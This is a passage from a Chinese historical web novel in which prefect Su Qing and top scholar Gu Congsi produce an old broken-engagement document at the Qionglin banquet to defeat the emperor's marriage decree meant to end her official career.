又是让大家知道,一直跟皇上作对的人,没有好下场。 广乐府的一切,苏清做过的所有事情,都会成为别人的囊中物。 顾从斯手脚冰冷。 如果没有这件事。 他或许还有两分可能。 但真有这把利剑悬在头上。 苏清绝不会跟自己再有婚约。 想到他考场上的颂圣诗,顾从斯几乎想笑,笑自己蠢,自己傻。 这到底是赐婚。 还是彻底把苏清推开。 事到如今,顾从斯还是咬牙道:“这对我来说,岂不是刚刚好。” “我想要的,就是娶你。” “我很想让你,做我的妻子。” 顾从斯边说边靠近,嘴唇几乎要贴到苏清的额头,他的的声音郑重而低缓。 任谁都不会怀疑他的决心。 “顾从斯,我们早就退婚了。”苏清再次道,“我也想过跟你成亲。” 这是苏清头一回这样讲,她并不退让,也不介意对方的接触。 苏清继续道:“我还试过接触你的爹娘,事实如何,你也知道。” “我不想做没有意义的事。” “我苏清,不至于上赶着吧。” 顾从斯紧紧抱住她,心里涌起无尽地悲意。 当然不至于。 是他上赶着,一直都是他。 苏清似乎觉得有冰冷的泪水在自己耳后,伸手拍了拍他后背。 “你应该能猜到,他什么时候会赐婚。” “也应该猜到,退婚书在什么时候用。” 这就是她对晏铮州说的。 让他哥当众出丑。 苏清相信,顾从斯会照做的。 即使他不照做。 自己也有办法脱困。 这世上可以证明两人早已退婚的,不止这份退婚书。 还有,花景明。 苏清看向院门口眼睛明亮的人。 花景明脸上全是藏不住的笑意。 他可以证明两人退婚了。 还有吏部那个于大人家仆人,也能证明! 花景明知道自己有些卑劣,但他太高兴了。 等琼林宴一过,世人都会知道,苏清没有未婚夫。 这对他来说,是天大的好消息。 紧紧抱着苏清的顾从斯,并不知道前未婚妻正看着他的好友。 更不知道他的好友,此刻欣喜若狂。 可他明白。 如果自己执意要跟苏清成亲。 那这辈子,她都不可能原谅自己。 即使以后见面只是朋友,也不能对他视而不见。 那样的日子,对他来说,只会更痛苦。 琼林宴上。 他会告诉所有人。 他们早在三年前,就已退婚。 第67章 永晟六年会试结束。 京城歌舞司连番庆祝,有人说这只是个开始。 等成绩公布时,庆祝的场面会更大。 谁都看的出来,皇上为这次会试,准备的极为充分。 当然,后面的殿试只会更隆重。 为此还修了勤政殿外的砖石栏杆,方便举行殿试。 好像京城确实被这份热闹感染,变得欢快起来。 任谁看了,不觉得是太平盛世。 听说皇上都想亲自来民间看看了,不过被身边人拦下,说是这么做不妥当,容易有危险。 苏清这边,已经把事情跟顾从斯说清楚。 顾从斯冷静下来,日日都来苏清住处,理由也简单:“在他们看来我是你未婚夫,若不过来,才是漏洞。” 花景明紧紧跟上,绝对不给两人独处机会。 这让祁平安看他的眼神,明显带着鄙夷。 怎么可以这样啊! 苏大人是很好! 你也不能道德败坏吧! 一直到四月十九会试放榜,这份尴尬的气氛才结束。 这期间,晏铮州晚上来得更勤了。 尤其是这天放榜,他竟在早上就到了苏清房间。 苏清睁眼时,差点吓一跳。 晏铮州幽幽地看向她。 明显在问。 说好的解除婚约呢,怎么不见你提起。 这眼神,说是苏清渣了他也不过分。 苏清默默坐起来:“已经放榜了?” 还没有吧,这会才几点。 苏清又看到桌子上放的食盒,似乎正是她提到的那一家早点,赶紧起身洗漱。 洗漱回来,晏铮州果然还没走。 就听他道:“成绩已经出来,只是榜单还未张贴。” 苏清刚吃了口饭,眼神示意他继续说。 晏铮州没说话,把抄录下来榜单递给她。 这单子算内部抄录。 贡院那边排好名次,抄录三份递到皇宫。 由皇上看过后并修改,再张贴出来。 晏铮州这里能得一份并不奇怪。 苏清放下碗筷,从第一名看起。 榜首,顾从斯。 不愧是人人都夸才华的。 不仅考上进士,还是第一名。 苏清并未多看,而是在找其他人的名字。 第二名也听说过,江南那边的才子。 第三名,惠容? 也是广乐府的人。 他在去年乡试时也是第三,倒是巧了。 不过他自来到京城,就一直在备考,可见其用心。 花景明在第七名,成绩也算不错。 今年各地考生共计两三千人,甲乙两榜进士,共录取四百三十六。 苏清只简略看看,广乐府上榜人数,大约在六七十,水平还不错。 看过之后,苏清放下榜单,只道:“接下来,就是殿试了。” 四月二十五,殿试。 当天晚上,就知道皇上要做什么。 晏铮州没再追问婚事,但难免多看苏清几眼。 想知道她要做什么。 或者,已经做了什么。 晏铮州等苏清吃过饭,提着食盒离开,只道:“殿试那日见。” 苏清笑。 不错,生命安全有保障了。 晏铮州走了没多久,便到巳时正刻。 也就是科举放榜的时候。 广乐府不少学生,有的去贡院门口等着,有的干脆来知府住处的门口等着。 贡院门口那批,是心里着急。 苏清门口这些,是为了求心安。 苏清虽知情况,却不好多讲。 尤其看到汪鹤后,开口问道:“汪举人对考试可有信心?” 其实都不必问这些话,汪鹤早就知道自己考不上。 去年乡试的名字也很靠后,基本是不成的。 他已经递了补官贴,只等着被派官。 不过汪鹤心里也有疑惑,他道:“大人,广乐府那多举子,您为何选中在下去徽州一带赈灾啊。” 尤其是广乐府户司副主事老杜,还多加提点。 来了京城后,不管顾从斯还是花景明,祁举人他们,都对自己很客气。 甚至不止他。 还有几个递了补官贴的举人,都被额外照顾。 他们统一的特点就是,知道自己考不上进士,也都递了补官贴到吏部。 还有一个特点,大家有点不好意思说。 那就是,他们人品似乎都不错? 这么多共通点,尤其以汪鹤为首,人品人缘都不错的。 到了这会,苏清也不瞒着,开口道:“今日榜单上,确实没你的名字。” 汪鹤一愣,虽早知结果,却还是稍稍失望。 对于苏大人提前知道结果,倒是没多说。 苏知府神通广大,什么事都办得到! “不过我打算,安排你去皋青州做户房主事,不知你是否愿意。” 去哪?! 皋青州? 任户房主事?! 皋青州的情况有些复杂。 可铮王爷把里面小股叛军都清扫了。 苏清还收服了叛军手底下文官。 这些事情,京城朝廷虽然不提。 心里却是知晓的。 所以现在的皋青州,其实并没有那么难管。 既然这样,想要去做官,要做这户司主事的人,应该不少。 尤其是今年会试名额,有四百多个。 堪称开朝以来,录取进士最多的一次。 以这四百多人,填充顺昌国各地空缺,应该足够的。 汪鹤虽然对皋青州户司主事的职位非常向往。 却也知道。 放在今年会试前,他或许还有机会。 但今年选的人太多,他这个举人在其他进士面前,肯定不够看。 苏清却笑:“汪举人不要妄自菲薄。他们这些进士既要殿试,还要派官。” “少不得半年才能到任。” “而且多半没什么处理政务的经验,相比而言,你并不差什么。” 苏清是看过榜单的。 皇上选的科举人才,年纪都不大。 这也很好理解,他想培养自己的班底,就要从年轻人里面选拔。 可这也带来一个问题。 这些年轻人,也就顾从斯接触过政务,其他人还要再学。 即便派官到任上,都是两眼一抹黑。 这种情况下。 汪鹤这种经年老吏,逢战乱不弃城,人品又极好。 实在是难得的辅官。 苏清把事情一一说明,最后道:“你若愿意去皋青州,只要点头即可,接下来谁找你当差,都不要答应。” 汪鹤听完苏知府的话,当下一扫落榜的阴霾。 他真有那么抢手啊? 不过苏大人,为什么让他去皋青州。 苏清只道:“对广乐府有益。” 广乐府! 汪鹤的家乡! 听到这话,他哪有不应的。 他们若是做官,都要避开原籍,故而广乐府是回不去了。 但去皋青州就能帮到家乡,他求之不得。 出来才知道。 广乐府太好了。 他要一辈子守护自己的老家。 他们这边说完,门外已然热闹起来。 看榜的人回来,正在报喜呢。 “会试案首,是咱们广乐府的顾从斯顾书生!!!” “第三,是惠容惠书生!” 接下来一一念出。 考上进士的书生欣喜若狂,自不必说。 不过大家看到汪鹤脸上的笑,还以为他也考上了呢。 他不是说,自己一定考不上进士吗。 骗人? 榜单再看一遍,果然没有。 “那你高兴什么?” 汪鹤不答。 我被苏大人夸赞了,能不高兴吗。 你们这些愚夫懂什么。 众人热闹不提。 只见被众人簇拥着过来的顾从斯,眼中只有苏清。 顾从斯快步上前,走到苏清身边,在众人兴奋注视下,不加掩饰地盯着她。 “幸不辱命,第一。” 顾从斯说的简单,周围人却听得不同。 第一啊! 是给苏大人考的吗?! 不愧是未婚夫妇啊。 看看人家,简直天作之合。 一个虽是女子,却做了知府。 另一个历经坎坷,学问不俗。 哎,这般好姻缘,真让人羡慕。 苏清见此,自然也要演下去,她搭上顾从斯手腕,让他起身:“很好。” “父亲当年说过,以你的学问,必然能金榜题名。” 苏清父亲,那个为国捐躯的县令。 就是他,撮合得这对姻缘。 不过几句话,就让众人“了然”事情全过程。 真好啊。 看来他们两个,终于要好事将近了。 顾从斯脸上没什么表情。 若这些话,在知道真相之前听到,他必然欣喜,必然以为苏清与他心意相通。 可现在,心里竟如冰锥一般刺痛。 即使这样,两人都要演下去。 好让所有人知道。 让皇宫里的人知道。 他们之间的关系非比寻常。 他们是一对恩爱的未婚夫妇。 这样,戏才能继续唱下去。 苏清看向其他上榜举人,惠容喜不自胜,花景明也是满脸高兴。 只有去年广乐府案首祁安平,看着自己的乙榜成绩苦笑。 去年的乡试第一。 今年会试,只得了一百九十多名。 虽然也是进士,可他却心有不甘。 自己的学问没有那样差。 苏清叹口气。 广乐府这些学生里,祁安平的学问,只稍逊于顾从斯。 可他跟顾从斯写了几年贺表不同,压根理会不了皇上想要的文章是什么样。 又或者,明白皇上要的是什么。 可他写不出来。 果然,人少的时候。 会试第一顾从斯,第三惠容,以及第七的花景明。 全都看向祁安平。 “没有按我说的写吗。”顾从斯开口道。 会试之前,他压过题目,也告诉过身边信得过的人。 就连花景明,汪鹤他也是说过的。 何况祁安平。 这些都是苏清心腹,焉能不拉他们一把。 祁安平苦笑,过了好一会才看向苏知府:“我写不出来。” 话音落下,众人一片安静。 武捕头都摸不着头脑。 为什么写不出来啊。 这会都是自己人,祁安平干脆坐下:“哪里有什么太平盛世,哪里有什么海清河晏。” “汪举人从水患之地回来,咱们来京城途中也看过其他地方的情况。” “不瞒你们说,三月初那会,我因会试临近,还去京郊附近转了转,想散散心。” 苏清静静听着,也不让人打断,只听祁安平继续说。 “就在京郊,离京城不到二十里地,有人饿死了。” “我去的时候,那人已经没了气息,家里孩子都卖了出去,就这还是饿死了。” 这对祁安平造成了极大的冲击。 在广乐府,他已经很久没听到这种消息。 饿死了。 卖儿卖女还是饿死了。 可周围村人,皆已习惯,只说他命不好,来生投个好胎。 祁安平忍不住哭出来。 附近来收尸检验的官吏拉了他一把,知道他是备考学子,跟他多说了几句。 再知道他是广乐府的学生,则多了羡慕:“衙门也有你们府的人,前些几日,你们知府送了些米粮给他。” 虽说送的时候,武捕头他们有遮掩,接的官吏也藏着。 但他家突然不用借钱买粮了,大家自然会问。 见祁安平一脸茫然。 那官吏方知,他们知府做这种好事,都是瞒着大家的,更嘱咐他好好备考。 “考好了,你们知府面上有光。” 祁安平肯定想考好啊。 甚至顾举人还提前押题,说会有颂圣的内容。 但他进了贡院,看着奢华的考场,以及极贵的考试纸张。 甚至每顿热饭菜之余,还有浪费的嫌疑。 就让他有些不能接受。 故而三日考试下来,其他题目写的尚可。 唯有颂圣之题,答的一塌糊涂。 众人听着,哪有不叹气的。 顾从斯脸色灰青,难掩郁色。 惠容有些尴尬,他也觉得良心不安,可他觉得这就是考试而已。 花景明则来安慰:“你管他呢,写写文章,不过脑不过心即可。你该做什么就做什么,跟考试内容无关。” 可现在说什么都晚了。 不过好歹考上了。 这也算不错。 苏清道:“还有殿试,殿试再看看吧。” “不过即使殿试不成,那也无妨的,以后为官之时,做好本分即可。而且能考上进士,已然很厉害了,不能因一场考试决定人生。” “你要是觉得乙榜进士不够好,我还没有呢。” 这是大实话。 如今只是女子童试,尚且只有南江县能办。 乡试会试,更是没有先例。 可大家都知道。 以苏清的聪明,她若科举,不亚于在做任何一人。 安慰完祁安平,苏清让他们准备好得体衣衫,再去贡院拜主考官等人。 接下来这几日里,既要给家里写信报喜。 还要经礼部带着学习。 为二十五日的殿试做准备。 那才是重头戏。 据苏清所知,此次大部分银两,都用在殿试上了。 进士们的礼服都是新的。 皇上冠冕更做了几十套,无一不是精美非常。 苏清自己也要去礼部做事。 小海小刘大人同样过去帮忙。 “快了快了,过了二十五殿试,过了当晚的琼林宴。咱们就各回各家。” 只要能让殿试顺利结束。 他们做什么都行。 至于每个月的俸禄? 别提了,年后到现在,一次也没发过呢。 倒是各部伙食那闹了几次,补了些银子。 反正户部众人都是绕着大家走的。 户部郎中方大人,就是广乐府那个人。 他家里出门买菜,都要带着帽子,省得同僚认出来啊。 可他家买菜的钱,又不是朝廷出的。 就算这样,都要避讳着点,省得挨打。 不管抱着什么目的。 永晟六年,四月二十五的殿试,终于要开始了! 苏清早早起身。 这一日对很多人来说,都很重要。 对她而言,更是如此。 苏清脑子里闪过很多念头。 最后一一放下。 不管其他人如何,她做好自己的事即可。 今日琼林宴这一关,她必然能过。 二十五日上午,殿试开始。 听说场面极为震撼,四百多考生无一不叹服皇上天威。 其后铮王爷等王公大臣,文武百官,浩浩荡荡。 卯时末开始考试。 巳时正刻结束。 到巳时末,翰林院,礼部,等大员开始评阅试卷。 就是早上起点开始卷面开始,九点收卷,十一点选出前二十,然后略作休息。 这前二十的试卷交给皇上,趁着休息期间,皇上点评卷子,选出前十。 到下午一两点的时候,前十人去到大殿上,皇上再钦点前三。 也就是点状元,榜眼,探花。 苏清等官员在礼部“看家”,理由是,她跟考生关系匪浅,不能进入。 小海小刘大人等,则过去做杂活。 一直到下午申时正刻,四点左右。 殿试成绩出来了。 小海大人跑着来报,满脸都是兴奋。 苏清看着他,就明白他要说什么了。 “苏大人!你未婚夫顾从斯!被钦点为状元!新科状元!” “他那一手好文章,写的龙颜大悦!皇上当场便点他为状元!” 不等小海大人说完,更多同僚上前恭贺,眼里既然是羡慕也是调侃。 你家一门两官员。 举世罕见啊。 自己做的好大官,又有颇佳的政绩。 未来夫君还是皇上钦点的状元郎! 这般的好姻缘,他们谁不羡慕。 唯有宫里来报信的一个女官,认真看了看苏清,脸上说不出的表情,但嘴里都是喜意。 “皇上圣旨,特许苏大人晚赴琼林宴,苏大人接旨吧。” 女官脸上带着极为标准的笑:“皇上知道您跟状元郎关系匪浅,特许您赴宴。” 甚至特别让她这个少见的女官传旨。 苏清在这女官眼中看出讽刺,心下忍不住道,这皇帝的心眼,可真小啊。 让一个女官来传旨,请她去赴宴。 这场宴会的目的之一。 就是让自己这个女官,彻底消失。 苏清假装看不出来,笑盈盈领旨谢恩。 女官脸色变了下,只道:“喜欢就好。” 说罢,周围同僚全都围过来,语气里全都是称赞兴奋。 这些话从顾从斯得会试第一那天,她就听过无数次了。 所有人都说。 有这样的未婚夫,着实是她的运气。 更说这份姻缘美满,还有问他们什么时候完婚。 这些话都被苏清一一推了。 可在很多人看来,这是苏大人不好意思,害羞了。 毕竟苏清看起来,还是很高兴的。 就跟现在一样。 传旨女官道:“请苏大人跟我来吧,此刻已经是申时末,状元进士们在外游街,等他们回来,琼林宴就开了。” “您也需要准备准备。” 说着,看了苏清的官服,深吸口气:“不好穿着官服赴宴。” 苏清像是毫无察觉,只问:“不能穿官服吗?” “自是不能,此次赴宴,身份不同。” 苏清笑:“没什么不同的。” 那女官已经不忍多讲。 都说苏知府聪明,可事到如今,她还不知道发生了什么吗。 这次赴宴,她并非以苏知府的身份过去,自不能穿官服。 她要穿极为繁琐的女子衣裳,要以状元未婚妻身份前去。 苏清看出她的不忍,却拱手道:“好吧,请带路。” 宫里最不缺的就是各色漂亮衣裙。 似乎为了配顾从斯的红色状元衫,给苏清试的宫装衣裙同样为红色。 立领红色大摆衣衫配同色马面裙,衣料轻薄,正是极正统的宫装,上面烫金装饰,褶皱整齐,极为精美。 脚底鞋子上镶嵌宝珠,同样配着烫金,所用针线皆不俗。 最跟平时不同的,还是发型发饰。 因要带官帽,她头发向来简单打理。 现在难得梳了复杂的垂鬟分肖髻,以红宝石为主,满头珠翠。 幸而宫女们的手艺极为精巧,那么多配饰带上去,竟然极有层次,分外好看。 更难得是苏清气势不同,完全压得住这身红衣。 看起来,不像其他人以为的嫁衣,反而像出征时的战袍。 只是这稍以收拾,便已经到酉时。 外头状元进士等人,都已经去了宴会。 苏清也被女官带着,坐轿前去国子监,参加六年才办了一次的琼林宴。 没过多久,苏清这边的轿子,便跟在皇上皇亲国戚官员等人的后面。 太后今日称病,并未过来。 刚落轿,苏清看了看天。 琼林宴大概率已经开始了。 而她只要跟着女官,等着进宴会即可。 此刻的琼林宴上,状元郎顾从斯有些心不在焉。 宴会虽未正式开始,周围人却不住上来奉承。 甚至还有吏部于大人,他心里实在是恨。 若是早点把女儿与顾从斯的婚事定下,那该有多少。 当年都把这两人拆散了,没想到他们还能重新在一起。 实在是气人。 就连皇上也凑热闹,还特意把苏清喊道琼林宴上。 想想就让人生气啊。 而顾从斯的心不在焉,在宴会其他人看来,则是有些激动。 都知道他跟苏大人感情极好。 如今也算功成名就,自然要有下一步了? 今日金榜题名,明日要是能洞房花烛,这日子不知有多开怀。 花景明不言语,只在顾从斯身边坐着。 他得了殿试第五的成绩,比会试还好些,但他现在格外进展。 惠容则得了第九,比会试差了不少。 这会在安慰成绩更差了的祁安平。 不过祁安平没有难过啊,他死死盯着顾花二人。 希望两人别打起来? 场面正热闹,就见齐内官走进来,高声道:“皇上驾到!众官员,新科进士参拜!” 等所有官员进士站到自己位置后。 礼乐声起。 皇上穿着冠冕礼服走在最前。 后面皇亲国戚,文武大员紧紧跟随。 最末尾。 竟然是他们都认识的人。 苏知府苏大人! 这是苏清?! 一身红衣,脸上带妆,整个人明艳沉静,看着超凡脱俗。 她身量本就不矮,梳着高高的发髻,更显身形挺拔。 好看。 以前也觉得苏清好看。 却没想到她打扮起来,不亚于任何一个美人。 尤其是她身上的气质,太不一样了。 不少人看向顾从斯。 你小子命真好啊,有这样的未婚妻! 不仅能处理政务,还这般貌美。 以后给你处理家事,更不在话下。 皇上等人坐定。 苏清的位置就在顾从斯边上。 两人都是红衣,看在众人眼中,只有般配二字足以形容。 尤其是顾状元,几乎目不转睛地盯着苏大人。 哎,这份感情,可真好啊。 苏清目光则落在对方之人身上。 晏铮州不冷不热地看着她,只吃了杯酒。 苏清忍不住笑,完全懒得听皇帝在讲什么,只觉得穿了正装礼服的晏铮州别有一番风味? 等皇上大臣们说了一堆话,点名到自己的时候,苏清才起身谢礼。 连皇上眼中都闪过一抹惊艳。 这女子果然生的不错。 如此打扮,才像个真正的女子。 但皇上并未忘记自己的计划。 一旁的梁公公也看过来,稍微低下头。 苏清啊苏清。 不是我不帮你。 而是你的官职,已经做到头了。 以后在内宅当中,未必没有出头之日。 皇上笑着道:“新科进士们都说,如今顺昌国海清河晏四海升平。” “今又有琼林宴之喜,不若喜上加喜如何?” 喜上加喜? 琼林宴上,除了皇上,皇亲国戚,文武大臣之外。 就是今年的新科进士。 四百多新科进士,以及伺候的仆从,全都错落有致。 这般堪称庞大的宴会园子。 也是此次科举拨款之一。 故而往下看过去,所有人都有点疑惑。 还能有什么喜事? 京城会试殿试成功,就是最大喜事了吧。 皇上看看苏清,再看看顾从斯:“听说你们二人早已定下婚约,却因多番境遇,未能成亲,实属遗憾。” “今日,朕做主,让你们这个月内便完婚,如何?” “金榜题名时,洞房花烛夜。顾从斯,你啊,运气真好。” 皇上说完,捧场的人不绝于耳。 新科进士等人,更是兴奋极了。 祁安平心里急的要命,他离得远啊,看不到花景明表情。 还好他吩咐惠容了,如果花景明跟顾从斯打起来,你一定要拉着! 不要惹事啊! 可惹事的人,却不是花景明。 而是一脸茫然的苏清。 苏清像是不解,主动看了看顾从斯。 顾从斯同样满脸疑惑。 “未婚夫妇”没有欣喜,也没有谢恩,难免引起在场所有人注意。 尤其是最上面的皇帝。 皇帝今年不过三十四,眉眼间也有晏铮州的影子,不过更为秀气。 只是多年病症,让他显得有些虚弱。 也就吃了苏清的益气养神丸,近来好上不少。 这也让他更想要苏清的方子。 更厌恶苏清想要以方子要挟他。 身为女子,不是不能建功立业。 只是有时候,要懂得审时度势,要知进退。 若赖在位置上不走,实在难看得很。 好在他心底好,会帮她们体面离开的。 “苏清,顾从斯,还不领旨谢恩。”梁公公适时开口。 一时间,满场寂静。 全都看向穿着红衣的两人,男俊女美,谁看谁都觉得登对。 皇上让苏清过来,还穿上这衣服,原来是为了赐婚。 多好的事啊。 为什么不答应。 跟在苏清身后的女官,以及在场聪明些的官员,脸色微变。 他们似乎知道皇上的意思了。 可这事对顾从斯来说,只有好处的。 若他真能娶了苏清,那既解决皇上心头之患,还能投其所好。 甚至,还能接手苏清手底的人脉关系。 娶了她,等于娶了政绩,娶了整个广乐府百姓的拥戴。 不费吹灰之力,就有这般好事,简直让人心动。 如果苏清没有未婚夫,估计不知有多少人,会主动登门。 更妙的是,苏清长得也好,一个稳赚不赔的婚事。 而顾从斯的脸在阴影处晃了下,随后深深看了苏清一眼。 好像这事,就在他一念之间了。 是啊,娶了苏清,多好。 可他从位置上走出来,语气郑重道:“回皇上,臣与苏清。” “并无婚约。” “所以此事,是不成的。” 什么?! 没有婚约?! 苏清依旧站在自己位置上,笑着看向皇帝。 皇帝甚至觉得,这份笑里有着嘲讽? 而身着红裙的苏清,施施然拱手:“是啊皇上,我们之间早没了婚约。” 皇上看着他们两个,咬牙道:“荒唐,你们两人难道是想欺君?!” “顾从斯,你来说,你从不想娶苏清?!” 皇帝震怒,宴会上无人敢说话。 也有人揣测,苏清跟顾从斯都是聪明人,怕是想到皇上的心思,故而装作婚约不在。 这样一来,就能保住苏清的官位。 只是这样做,顾从斯这人,倒是大度得很。 不怪皇上如此说,就是想问问他。 不就想要苏清的政绩?不想要她这个人? “回陛下,想。”顾从斯如实道,“但我们之间的婚约真的已经没了。” “欺君之罪,你们知道是什么下场吗。” 事情根本不按皇帝的想法进行。 他没想到顾从斯竟然为了苏清敢欺君。 这可不像他近几年的作风。 明明他的贺表,写得最好,最让他满意。 顾从斯也意识到什么,嘴角多了几分苦笑。 是啊,他的贺表写的最好。 他的颂圣诗也最好。 可最初的他,明明不是这样。 他在苏清身边做书吏的时候,也不是这样。 就连花景明苏清见了他,都说他跟之前不同。 这份不同,就跟国子监的园子一般。 当年清幽喜人。 众举子读书研习,好不热闹。 之后变成这般模样。 可容纳上千人,却容纳不了真正为国为民的良策。 苏清再次道:“回皇上,我等没有欺君,这都是实话。” 顾从斯从怀中拿出一份文书,似有无限怀恋。 熟悉他的人,甚至都见过他凝视这张纸。 还有人问过这里面是什么内容。 顾从斯都没有说。 此刻拿出来,却是这种场合。 “三年前,我爹娘与苏家商议,两家已然退婚。”顾从斯双手把退婚书举国头顶。 “我跟苏知府,在三年前,就已经退婚了。” 在皇上示意下,梁公公忙不迭去接过退婚书。 退婚书的字迹为苏清所有。 下面的落款,正是永晟三年四月。 而顾家夫妇的签名,以及苏清梅娘的签名,赫然在列。 他们两个,竟然早就退婚了。 三年前就退婚了?! 不少人想到。 三年前这会,正是那年的会试之前。 顾家夫妇想着儿子会高中,又想着苏清是个女知县。 故而操办了此事? 不过顾从斯自己心中不愿,故而一直不肯说出。 从而让大家有了误会。 这,这么说来。 一切都能解释得通! 众人窃窃私语,只觉得世事多变。 大家都没预料到两人早就退婚了。 而那些知道皇上真正想法的人,全都低着头,大气都不敢出。 同意什么女子童试,同意女子当县令。 留苏清做翰林,留她经办会试。 让顾从斯当状元,还特许苏清来琼林宴。 这些宽容,都建立在苏清要嫁人,不能再做官上。 而这件事不成。 就显得皇上之前做的小动作,像个真正的笑话。 果然,皇上已然盛怒。 但若表现出来,又会贻笑大方。 “如果让你哥当众出丑,他会当场暴怒吗?” 不会。 因为他要显示自己的仁慈。 苏清并未看向晏铮州。 众目睽睽下,看他一眼,就会被发现。 但没关系,晏铮州可以大胆注视苏清。 很漂亮,不止因为这身打扮。 更因她的聪明,还有眉眼间的挑衅。 现在所有人都在看她,即使旁边的顾状元,都显得黯淡无光。 皇上冷眼看着苏清顾从斯。 好啊。 实在是好。 把朕耍的团团转。 只见皇上把退婚书还给顾从斯,又见他收起来,缓缓道:“就算退婚了,也能重续前缘。” “朕做主,让你们好事成了,想来你们爹娘也不反对。” 皇帝说的话就是圣旨。 就是天意。 爹娘自然要排在后面。 苏清跟顾从斯却一起摇头。 “不了。” “不了。” 苏清说的不了,是真心实意。 顾从斯却感觉到反抗。 他一直听他爹娘的话,也听皇帝的话。 然后呢? 家里一团乱。 天下一团乱。 他此刻拒绝的不是跟苏清的婚事。 而是皇帝。 是他写了无数贺表跟颂圣诗的皇帝。 顾从斯终于明白,苏清对朝廷对皇帝没什么敬意。 原来是这种感觉。 顾从斯继续道:“破镜难圆,我与苏大人会在官场上相互扶持。” “良缘也好,知音也好。并无差别。” 说着,顾从斯还看了眼花景明。 苏清却趁着众人看顾从斯的时候,看了下晏铮州。 要不要你听听,你在说什么啊! 什么叫良缘跟知音没有差别。 顾从斯却笑。 当不了苏清的夫君,就当你们这些人的肉中刺。 谁也拔不掉那种。 让苏清意外的是,晏铮州并不生气,反而表情轻松。 似乎,根本不把顾从斯的话放在心上? 反而花景明一脸无语。 接下来顾状元舌灿莲花,婉拒皇上的赐婚。 到最后,就算最迟钝的人,都能看出皇上脸色难看。 一直陛下等人离开。 才有聪明人开始解惑。 这场琼林宴,竟是苏大人的鸿门宴?! 啊?! 要不是她正好退婚了。 这婚事肯定要成啊。 然后她就不能做官了?! 不管皇上是不是这个想法,但她确实很难继续做官。 不然每日跑东跑西,顾家爹娘也不乐意吧? 好险好险。 朝中差点少了个好官。 尤其是广乐府户籍的官吏百姓。 疯了吧?! 让他们的苏知府去相夫教子?! 有病?! 没了苏知府,谁对他们那样好啊。 琼林宴散去。 苏清穿着一身红衣,没有再坐轿,而是骑马离开。 她身边跟着同样骑着马的顾状元。 花景明刚想跟上,就被祁安平惠容一起拉住。 “别。” “让他们说说话吧。” 祁安平倒是知道,为什么花景明敢对苏大人有心思。 大概率早就听说此事。 但不管怎么样,任谁都看得出来,顾状元对苏大人,依旧有感情。 如今琼林宴都散了。 苏大人很快就会离京,就让他们说说话吧。 苏清跟顾从斯其实都不想说话。 今日的事,虽有心里准备,可真的面对皇上,难免有危险。 可皇上的懦弱超过他们的想象。 没错,是懦弱。 既想办成事,又要什么所谓的脸面。 他们两个,莫名的有些累。 到了苏清住处,苏清刚下马,顾从斯便跟上。 他穿着状元郎的衣服,还是宫里费了大价钱,做的崭新衣衫,把他本就俊朗的脸衬的越发俊俏。 顾从斯记得,她其实挺喜欢自己的脸。 但那时候他觉得,这种喜欢太过轻浮。 顾从斯还是想说出那句话:“清清,即使这次婚约不成。” “我们还能有下次吗。” 他们早就退婚了,但顾从斯不愿意承认。 如今不得不承认。 可他还想有下一次。 门外忽然有树枝动了动。 苏清并未看过去,只回答顾从斯:“我好像是你上司。” “下属不要跟上司求婚。” 苏清尽量把话说的轻松:“还是保持纯洁的同事关系吧。” 顾从斯哪笑得出来。 不过他还是笑了。 这是预想之中的答案。 他不会放弃的。 见苏清进门,顾从斯才骑马离开。 而门内的人并不意外。 晏铮州明显有很多话要说。 早就退婚了。 为什么不讲。 为什么要让他以为,自己还有婚约。 为什么要在这种状态下跟自己的那般亲密。 宴会上,他只顾想苏清没有婚约。 皇帝生气回宫,大骂一通,还骂梁公公,为什么她身边人,都不知道他们已经退婚?! 晏铮州站在旁边,也升起这个念头。 为什么不让他知道。 苏清没有回答,只让他看自己衣服:“好看吗?” “知道为什么我不排斥这身衣服吗。” “因为好看,因为我喜欢官服,也喜欢好看的女装。” “穿好看的衣服,朴素的衣服,利落的官府,这都是我。不能代表什么,你说呢。” 晏铮州不听她狡辩,只道:“恶趣味。” 她分明是想看自己不管伦理纲常,不顾道德约束。 更要看他在道德线上挣扎。 苏清的红色大袖搂着晏铮州的腰,自己笑了下,又松手离开。 她这个动作说明一切。 以为我有未婚夫的时候,你挣脱了吗? 苏清转身回房。 要准备准备回广乐府了啊! 她的蒸汽机等着她呢。 琼林宴结束第二日。 方大人等广乐府官员都跑过来,依旧心有余悸。 “朝中那么多酒囊饭袋,都做不成事,也就苏知府您了,还要把您往外推?这有意思吗?” “就是,咱们广乐府各位,不是靠您,就是靠家里,日子才过得下去。” “还不是修园子,修宫殿闹的,不然不至于发不起俸禄。” 殿试没结束之前。 还有许多人不知道,为何发不起俸禄。 看到宫里新修的殿宇,看到国子监容纳千人的园子,不少人就心知肚明了。 那四百多进士,心里也有不满。 因为很多人不敢骂皇上铺张,只骂他们穿华衣,用奢园,便显摆起来。 尤其以祁安平为首,已然直接说出不满。 至于苏清差点被赐婚的事,更是他们不满的原因之一。 苏清听着方大人对朝中之事的吐槽,深知他们郁闷,安慰道:“现在科举结束,下个月应该就能发月俸了。” 众人刚点头,就听苏清道:“我下个月,大概率会离京。到时候有什么时候可以去找顾从斯,祁安平。” 顾从斯他们明白,跟苏清虽无婚约,关系却一直不错。 否则昨晚的情况,他就该直接应下。 可人家没有选择这么做,倒是让不少觉得他谄媚的官员心生敬佩。 祁安平呢? 他对皇上很不满的。 苏清也? 苏清只道:“他学问不错,为人很是踏实。” 原来是这样吗。 方大人将信将疑,但也没有再说其他。 可一想到苏大人要离京,他们就开始发愁啊。 苏知府在这,大家有事都有个依靠。 哎,希望皇上放下重视科举的心吧。 至少把大家俸禄先给发了。 不说的别的,那四百多新科进士的俸禄也是不小的开销啊。 跟广乐府同乡会众人说了要离京的事。 苏清也开始着手交付差事。 礼部那边的差事自动结束,在礼部吏部各领公文即可。 上述事情办的利落,时间就到四月二十七。 接着再跟吏部做交接,想定在五月初八离京。 她这边按部就班交差。 吏部那边是有些慌张的。 既然知道皇上是想拖住苏清回广乐府的脚步。 自己这批还是不批? 吏部左侍郎问了尚书意见,尚书只能去勤政殿听听情况。 却见皇上身边换了孙公公上来。 孙公公被梁公公压着,如今竟然起势了。 皇上显然还在生气。 但又要表现自己大度,故而阴沉着脸:“既然想回,就让她赶紧回。” 可让她这么走了。 皇上怎么甘心,益气养神丸没到手,更没把她从官位上拉下来。 皇上忽然想到什么,看着苏清的字迹,心生一计。 “今日晚些时候,让苏清进宫说话。”皇上慢慢道。 晚些时候? 头发花白的吏部尚书看了看孙公公。 